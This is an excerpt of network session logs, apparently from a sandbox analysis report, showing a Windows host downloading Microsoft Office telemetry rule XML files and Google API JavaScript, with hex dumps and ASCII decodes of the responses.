2024-10-30 14:59:16 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:16 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:16 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5feeb856-001e-008d-0ae8-28d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145916Z-15b8d89586flzzksdx5d6q7g1000000003dg000000002w42 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:16 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr
2024-10-30 14:59:38 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:38 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 9a40e34d-b01e-005c-559c-274c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145938Z-16849878b78bjkl8dpep89pbgg00000006wg00000000dq37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:38 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:16 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 336bf192-401e-00ac-1a67-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145916Z-15b8d89586ff5l62aha9080wv000000009f000000000cwqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:16 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 0697abc8-001e-00ad-714f-28554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145916Z-15b8d89586flzzksdx5d6q7g1000000003b0000000008p3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:17 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: efaca471-901e-002a-6713-287a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145917Z-17c5cb586f626sn8grcgm1gf8000000006n000000000eubg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:17 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:17 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:17 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145917Z-16849878b78fhxrnedubv5byks00000006g000000000fqck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:17 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:39 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:39 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:39 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145939Z-16849878b78bjkl8dpep89pbgg00000006vg00000000k8hy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:39 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:17 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: e5751b3d-f01e-0099-0a8e-299171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145917Z-r197bdfb6b4mcssrk8cfa4gm1g00000001v000000000hc5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=
2024-10-30 14:59:39 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:39 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145939Z-15b8d89586f6nn8zqg1h5suba800000003eg000000007vm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:39 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49786	142.250.184.238	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:17 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 14:59:18 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 30 Oct 2024 06:18:38 GMT Expires: Thu, 30 Oct 2025 06:18:38 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 31239 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 14:59:18 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-30 14:59:18 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
